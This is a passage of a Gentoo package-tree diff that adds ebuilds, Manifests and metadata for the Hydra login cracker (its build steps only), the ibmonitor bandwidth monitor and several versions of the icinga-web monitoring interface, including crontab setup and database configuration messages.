+ if ! use mysql; then
+ sed -i 's/-lmysqlclient//;s/-DLIBMYSQLCLIENT//' configure || die
+ fi
+
+ # Linking against libtinfo might be enough here but pkg-config --libs tinfo
+ # would require a USE=tinfo flag and recent linkers should drop libcurses
+ # as needed
+ sed -i \
+ -e 's|-lcurses|'"$( $(tc-getPKG_CONFIG) --libs ncurses)"'|g' \
+ configure || die
+
+ # Note: despite the naming convention, the top level script is not an
+ # autoconf-based script.
+ export NCP_PATH=$(usex ncp /usr/$(get_libdir) '')
+ export NCP_IPATH=$(usex ncp /usr/include '')
+ sh configure \
+ --prefix=/usr \
+ --nostrip \
+ $(use gtk && echo --disable-xhydra) \
+ || die
+
+ if use gtk ; then
+ cd hydra-gtk && \
+ econf
+ fi
+}
+
+src_compile() {
+ tc-export CC
+ emake XLIBPATHS=''
+ use gtk && emake -C hydra-gtk
+}
+
+src_install() {
+ dobin hydra pw-inspector
+ use gtk && dobin hydra-gtk/src/xhydra
+ dodoc CHANGES README
+}
diff --git a/net-analyzer/hydra/metadata.xml b/net-analyzer/hydra/metadata.xml
new file mode 100644
index 000000000000..022063110f44
--- /dev/null
+++ b/net-analyzer/hydra/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>Advanced parallized login hacker</longdescription>
+<use><flag name="ncp">NCP protocol (NetWare) support through <pkg>net-fs/ncpfs</pkg></flag></use>
+</pkgmetadata>
diff --git a/net-analyzer/ibmonitor/Manifest b/net-analyzer/ibmonitor/Manifest
new file mode 100644
index 000000000000..39d44f7cc71f
--- /dev/null
+++ b/net-analyzer/ibmonitor/Manifest
@@ -0,0 +1 @@
+DIST ibmonitor-1.4.tar.gz 17025 SHA256 331dac4553b5c336d1db3d35176ecebeaf15b39ad0432372cba583324a222e28 SHA512 ef74dee22dbb88d07c37af9aaa0a0a49b6c49ff1b45a1637d06acbe32e4bc4e84d79cfe06ee7ba2b04d62fa3cfa0a10605eccde549d2fe04890dfa179adf20db WHIRLPOOL 29ded2cdf18b4d027caf8738bfed2e0e7d66f6a1546980bb30799332028f57517b59fb22c0201e91050e2495a495e678e86273859bc2c5ce33730f6b3e620e4e
diff --git a/net-analyzer/ibmonitor/ibmonitor-1.4.ebuild b/net-analyzer/ibmonitor/ibmonitor-1.4.ebuild
new file mode 100644
index 000000000000..8eff57e65253
--- /dev/null
+++ b/net-analyzer/ibmonitor/ibmonitor-1.4.ebuild
@@ -0,0 +1,22 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Interactive bandwidth monitor"
+HOMEPAGE="http://ibmonitor.sourceforge.net"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+
+KEYWORDS="~amd64 ~hppa ~ppc x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+S="${WORKDIR}/${PN}"
+
+RDEPEND="dev-perl/TermReadKey"
+
+src_install() {
+ dobin ibmonitor
+ dodoc AUTHORS ChangeLog README TODO
+}
diff --git a/net-analyzer/ibmonitor/metadata.xml b/net-analyzer/ibmonitor/metadata.xml
new file mode 100644
index 000000000000..516ff1ada98a
--- /dev/null
+++ b/net-analyzer/ibmonitor/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">ibmonitor</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/icinga-web/Manifest b/net-analyzer/icinga-web/Manifest
new file mode 100644
index 000000000000..3422e1da152e
--- /dev/null
+++ b/net-analyzer/icinga-web/Manifest
@@ -0,0 +1,4 @@
+DIST icinga-web-1.10.0.tar.gz 14245635 SHA256 fe1b43448bcb6a9e8f565f079122e51283539eb6be214e7001c65653686b7f56 SHA512 90537ea710dd6408349b734b0901918db595d2d7a281e9245a63ba0150a4b7df4fabbb71755966361440ca6096391470d7399ddd5f4b245d1203000b89d8b368 WHIRLPOOL c72004edb2a76efa4ccbea6363fddfa4c6d30c8c368fa57ee0f865d27927bdc5aea691b42c4415b5fe75a12d946768296feffbeb101ff8945377d92da20059bc
+DIST icinga-web-1.10.1.tar.gz 14247394 SHA256 b334c063cf4f53fcc1922d99161b5ea5c32c04749c0f9dfe091f376158273664 SHA512 e155c4c00fde20680ed3286fbf7af4db13dd566693ec677a61c719cf8a0b36862bc51741180aceba204e6f768000d8a6dc4548bfbf7165f28f8bbc81c79bc63c WHIRLPOOL d4cf2ea128c0e46bf07ce1ae677a4e718405b926250f4972790388d2b45cef5996e16ca5b83dcdd8f8c9a84831a76cb88b76d0839bdce87e222d6712463b6de9
+DIST icinga-web-1.11.2.tar.gz 14133733 SHA256 726ffb261d3cd5a864b689f96837ff9cc138e9c5d97c19a2c82b110a802eb772 SHA512 ecfbc6534a87ae52b508b2ca663109bdc201fbfc143ce399fff0fdd4eec456524c5bb86afe0e29c58dc3dfeaccc959817e77af5b0257db6eced2f27592caf5b1 WHIRLPOOL bb1ad4ae5d921a0454afd9e11780d469f89b5414f6edf13db8c1292e72c5da8a0dc66991d45fac36607ead57934331414017fcc716b8eac351a56c43b8780cf5
+DIST icinga-web-1.9.1.tar.gz 14635896 SHA256 aa5b1aa6962a727a6760f89ef19845a878b7e06ee723b8f1fd7821b6a6b578aa SHA512 42a3edddae5a287b87fd6d077ac303e7caa0b430af86e9046413e7d04d703cd3de7df881463eebb1e5216315056e06ce9f6dccbef93b6e55d1c3f5fe002447b9 WHIRLPOOL 8b5a6bf78794f722952566c82ae238640a716e61022fead31145bbc6fa40ca3bbf439aa593c5839b09873f7d43469cff28422ecd9b93e51cc7124859d1ae8257
diff --git a/net-analyzer/icinga-web/icinga-web-1.10.0-r1.ebuild b/net-analyzer/icinga-web/icinga-web-1.10.0-r1.ebuild
new file mode 100644
index 000000000000..99c69ccf09c3
--- /dev/null
+++ b/net-analyzer/icinga-web/icinga-web-1.10.0-r1.ebuild
@@ -0,0 +1,206 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+inherit depend.apache eutils user multilib
+
+DESCRIPTION="Icinga Web - new Web Interface"
+HOMEPAGE="http://www.icinga.org/"
+SRC_URI="mirror://sourceforge/icinga/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="apache2 mysql pnp postgres"
+DEPEND="dev-php/phing
+ dev-db/libdbi-drivers[mysql?,postgres?]
+ >=net-analyzer/icinga-1.10.0
+ dev-lang/php[apache2?,cli,json,mysql?,pdo,postgres?,sockets,xslt,xml]
+ pnp? ( net-analyzer/pnp4nagios )"
+RDEPEND="${DEPEND}"
+
+want_apache2
+
+pkg_setup() {
+ if use apache2 ; then
+ depend.apache_pkg_setup
+ fi
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ #removed checks for some php stuff since we have these things called use flags
+ sed -i 's/ACICINGA_CHECK_PHP_MODULE/\#ACICINGA_CHECK_PHP_MODULE/g' configure.ac
+ sed -i 's/make\ /make\ \-j1\ /g' lib/Makefile.in
+ autoreconf
+}
+
+src_configure() {
+ local myconf
+
+ myconf="--prefix=/usr/share/icinga/icinga-web
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --libexecdir=/usr/$(get_libdir)/icinga/plugins
+ --with-bin-user=icinga
+ --with-bin-group=nagios
+ --with-api-cmd-file=/var/lib/icinga/rw/icinga.cmd
+ --with-conf-dir=/etc/icinga-web
+ --with-log-dir=/var/log/icinga-web
+ --with-icinga-objects-dir=/etc/icinga/objects
+ --with-icinga-bin=/usr/sbin/icinga
+ --with-icinga-cfg=/etc/icinga/icinga.cfg"
+
+ if use apache2 ; then
+ myconf+=" --with-web-user=apache
+ --with-web-group=apache
+ --with-web-apache-path=${APACHE_MODULES_CONFDIR}"
+ else
+ myconf+=" --with-web-user=root
+ --with-web-group=root"
+ fi
+
+ if use postgres ; then
+ myconf+=" --with-db-type=pgsql
+ --with-db-port=5432
+ --with-api-subtype=pgsql
+ --with-api-port=5432"
+ fi
+
+ econf ${myconf}
+}
+
+src_install() {
+ dodoc README
+ rm -f README
+
+ emake -j1 DESTDIR="${D}" install
+
+ emake DESTDIR="${D}" install-javascript
+
+ if use apache2 ; then
+ dodir ${APACHE_MODULES_CONFDIR}
+ emake DESTDIR="${D}" install-apache-config
+ echo '<IfDefine ICINGA_WEB>' > "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ cat "${WORKDIR}/${P}/etc/apache2/icinga-web.conf" >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ rm "${D}/${APACHE_MODULES_CONFDIR}/icinga-web.conf" || die "rm failed"
+ echo '</IfDefine>' >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ fi
+
+ insinto /usr/share/icinga/icinga-web/contrib
+ doins -r etc/schema/*
+
+ if use apache2 ; then
+ sed -i 's/%%USER%%/apache/g' etc/scheduler/icingaCron
+ else
+ sed -i 's/%%USER%%/root/g' etc/scheduler/icingaCron
+ fi
+ sed -i 's/%%PATH%%/\/usr\/share\/icinga\/icinga-web/g' etc/scheduler/icingaCron
+
+ dodir /usr/share/icinga/icinga-web/cron/
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/crontab <<EOF
+# Force the shell to bash
+SHELL=/bin/bash
+#mail to root
+MAILTO=root
+
+#runs every minute
+* * * * * /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/fcrontab <<EOF
+# Mail reports to root
+!mailto(root)
+
+#runs every minute
+@ 1 /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ if use apache2 ; then
+ diropts -o apache -g apache
+ else
+ diropts -o root -g root
+ fi
+ dodir /var/log/icinga-web
+
+ if use apache2 ; then
+ fowners apache:apache /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ else
+ fowners root:root /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ fi
+
+ if use pnp ; then
+ insinto /usr/share/icinga/icinga-web/app/modules/Cronks/data/xml/extensions/
+ doins contrib/PNP_Integration/templateExtensions/pnp-host-extension.xml
+ doins contrib/PNP_Integration/templateExtensions/pnp-service-extension.xml
+ fi
+}
+
+pkg_config() {
+ einfo "press enter to install the icinga-web crontab"
+ einfo "installation from /usr/share/icinga/icinga-web/cron/icingaCron"
+ einfo
+ read
+
+ if has_version sys-process/fcron; then
+ fcrontab - -u root < /usr/share/icinga/icinga-web/cron/fcrontab
+ else
+ crontab - -u root < /usr/share/icinga/icinga-web/cron/crontab
+ fi
+}
+
+pkg_postinst() {
+ einfo
+ einfo "If this is a new install, you must create a new database for it, e.g. icinga_web."
+ einfo "You can find the database scripts in /usr/share/icinga/icinga-web/contrib/."
+ einfo
+ einfo "Additionally, you need to setup a database user."
+ einfo "The user must have default data privileges like SELECT, UPDATE, INSERT, DELETE."
+ einfo
+ einfo "Example for a MySQL database:"
+ einfo " echo \"CREATE DATABASE icinga_web;\" | mysql"
+ einfo " echo \"GRANT SELECT,UPDATE,INSERT,DELETE ON icinga_web.* TO 'icinga_web'@'localhost' IDENTIFIED BY 'xxxxxx';\" | mysql"
+ einfo " echo \"FLUSH PRIVILEGES;\" | mysql"
+ einfo
+ einfo " cat /usr/share/icinga/icinga-web/contrib/mysql.sql | mysql icinga_web"
+ einfo
+
+ ewarn
+ ewarn "If you're upgrading from a previous release, you must upgrade your database schema."
+ ewarn "You can find upgrade scripts in /usr/share/icinga/icinga-web/contrib/updates/."
+ ewarn
+ ewarn "IMPORTANT: If you are upgrading from an older version and there are other versions in between,"
+ ewarn " be advised that you need to apply those upgrade files with incremental steps!"
+ ewarn
+ ewarn "Example to upgrade a MySQL database:"
+ ewarn " cat /usr/share/icinga/icinga-web/contrib/updates/mysql_<oldversion>_to_<newversion>.sql | mysql icinga_web"
+ ewarn
+ ewarn "Don't forget to clear the config cache."
+ ewarn " /usr/share/icinga/icinga-web/bin/clearcache.sh"
+ ewarn
+
+ einfo
+ einfo "Please note that the magic_quotes_gpc setting must be disabled (in both apache and cli php.ini)."
+ einfo
+
+ if use apache2 ; then
+ einfo
+ einfo "apache config was installed into"
+ einfo "/etc/apache2/modules.d/99_icinga-web.conf"
+ einfo
+ einfo "The apache config value for \'ServerTokens\' must be set to at"
+ einfo "least \'Min\'."
+ einfo
+ else
+ einfo
+ einfo "If you are not using apache you may need to change some"
+ einfo "permissions, so that your web server can access files and logs"
+ einfo
+ fi
+}
diff --git a/net-analyzer/icinga-web/icinga-web-1.10.0.ebuild b/net-analyzer/icinga-web/icinga-web-1.10.0.ebuild
new file mode 100644
index 000000000000..95e895bbe59a
--- /dev/null
+++ b/net-analyzer/icinga-web/icinga-web-1.10.0.ebuild
@@ -0,0 +1,206 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+inherit depend.apache eutils user multilib
+
+DESCRIPTION="Icinga Web - new Web Interface"
+HOMEPAGE="http://www.icinga.org/"
+SRC_URI="mirror://sourceforge/icinga/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="apache2 mysql pnp postgres"
+DEPEND="dev-php/phing
+ dev-db/libdbi-drivers[mysql?,postgres?]
+ >=net-analyzer/icinga-1.10.0
+ dev-lang/php[apache2?,cli,json,mysql?,pdo,postgres?,sockets,xslt,xml]
+ pnp? ( net-analyzer/pnp4nagios )"
+RDEPEND="${DEPEND}"
+
+want_apache2
+
+pkg_setup() {
+ if use apache2 ; then
+ depend.apache_pkg_setup
+ fi
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ #removed checks for some php stuff since we have these things called use flags
+ sed -i 's/ACICINGA_CHECK_PHP_MODULE/\#ACICINGA_CHECK_PHP_MODULE/g' configure.ac
+ sed -i 's/make\ /make\ \-j1\ /g' lib/Makefile.in
+ autoreconf
+}
+
+src_configure() {
+ local myconf
+
+ myconf="--prefix=/usr/share/icinga/icinga-web
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --libexecdir=/usr/$(get_libdir)/icinga/plugins
+ --with-bin-user=icinga
+ --with-bin-group=nagios
+ --with-api-cmd-file=/var/lib/icinga/rw/icinga.cmd
+ --with-conf-dir=/etc/icinga-web
+ --with-log-dir=/var/log/icinga-web
+ --with-icinga-objects-dir=/etc/icinga/objects
+ --with-icinga-bin=/usr/sbin/icinga
+ --with-icinga-cfg=/etc/icinga/icinga.cfg"
+
+ if use apache2 ; then
+ myconf+=" --with-web-user=apache
+ --with-web-group=apache
+ --with-web-apache-path=${APACHE_MODULES_CONFDIR}"
+ else
+ myconf+=" --with-web-user=root
+ --with-web-group=root"
+ fi
+
+ if use postgres ; then
+ myconf+=" --with-db-type=pgsql
+ --with-db-port=5432
+ --with-api-subtype=pgsql
+ --with-api-port=5432"
+ fi
+
+ econf ${myconf}
+}
+
+src_install() {
+ dodoc README
+ rm -f README
+
+ emake -j5 DESTDIR="${D}" install
+
+ emake DESTDIR="${D}" install-javascript
+
+ if use apache2 ; then
+ dodir ${APACHE_MODULES_CONFDIR}
+ emake DESTDIR="${D}" install-apache-config
+ echo '<IfDefine ICINGA_WEB>' > "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ cat "${WORKDIR}/${P}/etc/apache2/icinga-web.conf" >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ rm "${D}/${APACHE_MODULES_CONFDIR}/icinga-web.conf" || die "rm failed"
+ echo '</IfDefine>' >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ fi
+
+ insinto /usr/share/icinga/icinga-web/contrib
+ doins -r etc/schema/*
+
+ if use apache2 ; then
+ sed -i 's/%%USER%%/apache/g' etc/scheduler/icingaCron
+ else
+ sed -i 's/%%USER%%/root/g' etc/scheduler/icingaCron
+ fi
+ sed -i 's/%%PATH%%/\/usr\/share\/icinga\/icinga-web/g' etc/scheduler/icingaCron
+
+ dodir /usr/share/icinga/icinga-web/cron/
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/crontab <<EOF
+# Force the shell to bash
+SHELL=/bin/bash
+#mail to root
+MAILTO=root
+
+#runs every minute
+* * * * * /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/fcrontab <<EOF
+# Mail reports to root
+!mailto(root)
+
+#runs every minute
+@ 1 /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ if use apache2 ; then
+ diropts -o apache -g apache
+ else
+ diropts -o root -g root
+ fi
+ dodir /var/log/icinga-web
+
+ if use apache2 ; then
+ fowners apache:apache /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ else
+ fowners root:root /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ fi
+
+ if use pnp ; then
+ insinto /usr/share/icinga/icinga-web/app/modules/Cronks/data/xml/extensions/
+ doins contrib/PNP_Integration/templateExtensions/pnp-host-extension.xml
+ doins contrib/PNP_Integration/templateExtensions/pnp-service-extension.xml
+ fi
+}
+
+pkg_config() {
+ einfo "press enter to install the icinga-web crontab"
+ einfo "installation from /usr/share/icinga/icinga-web/cron/icingaCron"
+ einfo
+ read
+
+ if has_version sys-process/fcron; then
+ fcrontab - -u root < /usr/share/icinga/icinga-web/cron/fcrontab
+ else
+ crontab - -u root < /usr/share/icinga/icinga-web/cron/crontab
+ fi
+}
+
+pkg_postinst() {
+ einfo
+ einfo "If this is a new install, you must create a new database for it, e.g. icinga_web."
+ einfo "You can find the database scripts in /usr/share/icinga/icinga-web/contrib/."
+ einfo
+ einfo "Additionally, you need to setup a database user."
+ einfo "The user must have default data privileges like SELECT, UPDATE, INSERT, DELETE."
+ einfo
+ einfo "Example for a MySQL database:"
+ einfo " echo \"CREATE DATABASE icinga_web;\" | mysql"
+ einfo " echo \"GRANT SELECT,UPDATE,INSERT,DELETE ON icinga_web.* TO 'icinga_web'@'localhost' IDENTIFIED BY 'xxxxxx';\" | mysql"
+ einfo " echo \"FLUSH PRIVILEGES;\" | mysql"
+ einfo
+ einfo " cat /usr/share/icinga/icinga-web/contrib/mysql.sql | mysql icinga_web"
+ einfo
+
+ ewarn
+ ewarn "If you're upgrading from a previous release, you must upgrade your database schema."
+ ewarn "You can find upgrade scripts in /usr/share/icinga/icinga-web/contrib/updates/."
+ ewarn
+ ewarn "IMPORTANT: If you are upgrading from an older version and there are other versions in between,"
+ ewarn " be advised that you need to apply those upgrade files with incremental steps!"
+ ewarn
+ ewarn "Example to upgrade a MySQL database:"
+ ewarn " cat /usr/share/icinga/icinga-web/contrib/updates/mysql_<oldversion>_to_<newversion>.sql | mysql icinga_web"
+ ewarn
+ ewarn "Don't forget to clear the config cache."
+ ewarn " /usr/share/icinga/icinga-web/bin/clearcache.sh"
+ ewarn
+
+ einfo
+ einfo "Please note that the magic_quotes_gpc setting must be disabled (in both apache and cli php.ini)."
+ einfo
+
+ if use apache2 ; then
+ einfo
+ einfo "apache config was installed into"
+ einfo "/etc/apache2/modules.d/99_icinga-web.conf"
+ einfo
+ einfo "The apache config value for \'ServerTokens\' must be set to at"
+ einfo "least \'Min\'."
+ einfo
+ else
+ einfo
+ einfo "If you are not using apache you may need to change some"
+ einfo "permissions, so that your web server can access files and logs"
+ einfo
+ fi
+}
diff --git a/net-analyzer/icinga-web/icinga-web-1.10.1.ebuild b/net-analyzer/icinga-web/icinga-web-1.10.1.ebuild
new file mode 100644
index 000000000000..9dc6090f6b65
--- /dev/null
+++ b/net-analyzer/icinga-web/icinga-web-1.10.1.ebuild
@@ -0,0 +1,206 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+inherit depend.apache eutils user multilib
+
+DESCRIPTION="Icinga Web - new Web Interface"
+HOMEPAGE="http://www.icinga.org/"
+SRC_URI="https://github.com/icinga/${PN}/releases/download/v${PV}/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="apache2 mysql pnp postgres"
+DEPEND="dev-php/phing
+ dev-db/libdbi-drivers[mysql?,postgres?]
+ >=net-analyzer/icinga-1.10.0
+ dev-lang/php[apache2?,cli,json,mysql?,pdo,postgres?,sockets,xslt,xml]
+ pnp? ( net-analyzer/pnp4nagios )"
+RDEPEND="${DEPEND}"
+
+want_apache2
+
+pkg_setup() {
+ if use apache2 ; then
+ depend.apache_pkg_setup
+ fi
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ #removed checks for some php stuff since we have these things called use flags
+ sed -i 's/ACICINGA_CHECK_PHP_MODULE/\#ACICINGA_CHECK_PHP_MODULE/g' configure.ac
+ sed -i 's/make\ /make\ \-j1\ /g' lib/Makefile.in
+ autoreconf
+}
+
+src_configure() {
+ local myconf
+
+ myconf="--prefix=/usr/share/icinga/icinga-web
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --libexecdir=/usr/$(get_libdir)/icinga/plugins
+ --with-bin-user=icinga
+ --with-bin-group=nagios
+ --with-api-cmd-file=/var/lib/icinga/rw/icinga.cmd
+ --with-conf-dir=/etc/icinga-web
+ --with-log-dir=/var/log/icinga-web
+ --with-icinga-objects-dir=/etc/icinga/objects
+ --with-icinga-bin=/usr/sbin/icinga
+ --with-icinga-cfg=/etc/icinga/icinga.cfg"
+
+ if use apache2 ; then
+ myconf+=" --with-web-user=apache
+ --with-web-group=apache
+ --with-web-apache-path=${APACHE_MODULES_CONFDIR}"
+ else
+ myconf+=" --with-web-user=root
+ --with-web-group=root"
+ fi
+
+ if use postgres ; then
+ myconf+=" --with-db-type=pgsql
+ --with-db-port=5432
+ --with-api-subtype=pgsql
+ --with-api-port=5432"
+ fi
+
+ econf ${myconf}
+}
+
+src_install() {
+ dodoc README
+ rm -f README
+
+ emake -j1 DESTDIR="${D}" install
+
+ emake DESTDIR="${D}" install-javascript
+
+ if use apache2 ; then
+ dodir ${APACHE_MODULES_CONFDIR}
+ emake DESTDIR="${D}" install-apache-config
+ echo '<IfDefine ICINGA_WEB>' > "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ cat "${WORKDIR}/${P}/etc/apache2/icinga-web.conf" >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ rm "${D}/${APACHE_MODULES_CONFDIR}/icinga-web.conf" || die "rm failed"
+ echo '</IfDefine>' >> "${D}/${APACHE_MODULES_CONFDIR}/99_icinga-web.conf"
+ fi
+
+ insinto /usr/share/icinga/icinga-web/contrib
+ doins -r etc/schema/*
+
+ if use apache2 ; then
+ sed -i 's/%%USER%%/apache/g' etc/scheduler/icingaCron
+ else
+ sed -i 's/%%USER%%/root/g' etc/scheduler/icingaCron
+ fi
+ sed -i 's/%%PATH%%/\/usr\/share\/icinga\/icinga-web/g' etc/scheduler/icingaCron
+
+ dodir /usr/share/icinga/icinga-web/cron/
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/crontab <<EOF
+# Force the shell to bash
+SHELL=/bin/bash
+#mail to root
+MAILTO=root
+
+#runs every minute
+* * * * * /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ cat - >> "${D}"/usr/share/icinga/icinga-web/cron/fcrontab <<EOF
+# Mail reports to root
+!mailto(root)
+
+#runs every minute
+@ 1 /usr/bin/php /usr/share/icinga/icinga-web/lib/icingaScheduler/icingaCron.php --useAgavi --exec >> /var/log/icinga-web/cron_error.log
+EOF
+
+ if use apache2 ; then
+ diropts -o apache -g apache
+ else
+ diropts -o root -g root
+ fi
+ dodir /var/log/icinga-web
+
+ if use apache2 ; then
+ fowners apache:apache /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ else
+ fowners root:root /usr/share/icinga/icinga-web/lib/icingaScheduler/res/storage.dat
+ fi
+
+ if use pnp ; then
+ insinto /usr/share/icinga/icinga-web/app/modules/Cronks/data/xml/extensions/
+ doins contrib/PNP_Integration/templateExtensions/pnp-host-extension.xml
+ doins contrib/PNP_Integration/templateExtensions/pnp-service-extension.xml
+ fi
+}
+
+pkg_config() {
+ einfo "press enter to install the icinga-web crontab"
+ einfo "installation from /usr/share/icinga/icinga-web/cron/icingaCron"
+ einfo
+ read
+
+ if has_version sys-process/fcron; then
+ fcrontab - -u root < /usr/share/icinga/icinga-web/cron/fcrontab
+ else
+ crontab - -u root < /usr/share/icinga/icinga-web/cron/crontab
+ fi
+}
+
+pkg_postinst() {
+ einfo
+ einfo "If this is a new install, you must create a new database for it, e.g. icinga_web."
+ einfo "You can find the database scripts in /usr/share/icinga/icinga-web/contrib/."
+ einfo
+ einfo "Additionally, you need to setup a database user."
+ einfo "The user must have default data privileges like SELECT, UPDATE, INSERT, DELETE."
+ einfo
+ einfo "Example for a MySQL database:"
+ einfo " echo \"CREATE DATABASE icinga_web;\" | mysql"
+ einfo " echo \"GRANT SELECT,UPDATE,INSERT,DELETE ON icinga_web.* TO 'icinga_web'@'localhost' IDENTIFIED BY 'xxxxxx';\" | mysql"
+ einfo " echo \"FLUSH PRIVILEGES;\" | mysql"
+ einfo
+ einfo " cat /usr/share/icinga/icinga-web/contrib/mysql.sql | mysql icinga_web"
+ einfo
+
+ ewarn
+ ewarn "If you're upgrading from a previous release, you must upgrade your database schema."
+ ewarn "You can find upgrade scripts in /usr/share/icinga/icinga-web/contrib/updates/."
+ ewarn
+ ewarn "IMPORTANT: If you are upgrading from an older version and there are other versions in between,"
+ ewarn " be advised that you need to apply those upgrade files with incremental steps!"
+ ewarn
+ ewarn "Example to upgrade a MySQL database:"
+ ewarn " cat /usr/share/icinga/icinga-web/contrib/updates/mysql_<oldversion>_to_<newversion>.sql | mysql icinga_web"
+ ewarn
+ ewarn "Don't forget to clear the config cache."
+ ewarn " /usr/share/icinga/icinga-web/bin/clearcache.sh"
+ ewarn
+
+ einfo
+ einfo "Please note that the magic_quotes_gpc setting must be disabled (in both apache and cli php.ini)."
+ einfo
+
+ if use apache2 ; then
+ einfo
+ einfo "apache config was installed into"
+ einfo "/etc/apache2/modules.d/99_icinga-web.conf"
+ einfo
+ einfo "The apache config value for \'ServerTokens\' must be set to at"
+ einfo "least \'Min\'."
+ einfo
+ else
+ einfo
+ einfo "If you are not using apache you may need to change some"
+ einfo "permissions, so that your web server can access files and logs"
+ einfo
+ fi
+}
diff --git a/net-analyzer/icinga-web/icinga-web-1.11.2.ebuild b/net-analyzer/icinga-web/icinga-web-1.11.2.ebuild
new file mode 100644
index 000000000000..4baca8d05c67
--- /dev/null
+++ b/net-analyzer/icinga-web/icinga-web-1.11.2.ebuild
@@ -0,0 +1,206 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+inherit depend.apache eutils user multilib
+
+DESCRIPTION="Icinga Web - new Web Interface"
+HOMEPAGE="http://www.icinga.org/"
+SRC_URI="https://github.com/icinga/${PN}/releases/download/v${PV}/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="apache2 mysql pnp postgres"
+DEPEND="dev-php/phing
+ dev-db/libdbi-drivers[mysql?,postgres?]
+ || ( >=net-analyzer/icinga-1.10.0 >=net-analyzer/icinga2-2.1.1 )
+ dev-lang/php[apache2?,cli,json,mysql?,pdo,postgres?,sockets,xslt,xml]
+ pnp? ( net-analyzer/pnp4nagios )"
+RDEPEND="${DEPEND}"
+
+want_apache2
+
+pkg_setup() {
+ if use apache2 ; then
+ depend.apache_pkg_setup
+ fi
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ #removed checks for some php stuff since we have these things called use flags
+ sed -i 's/ACICINGA_CHECK_PHP_MODULE/\#ACICINGA_CHECK_PHP_MODULE/g' configure.ac
+ sed -i 's/make\ /make\ \-j1\ /g' lib/Makefile.in
+ autoreconf
+}
+
+src_configure() {
+ local myconf
+
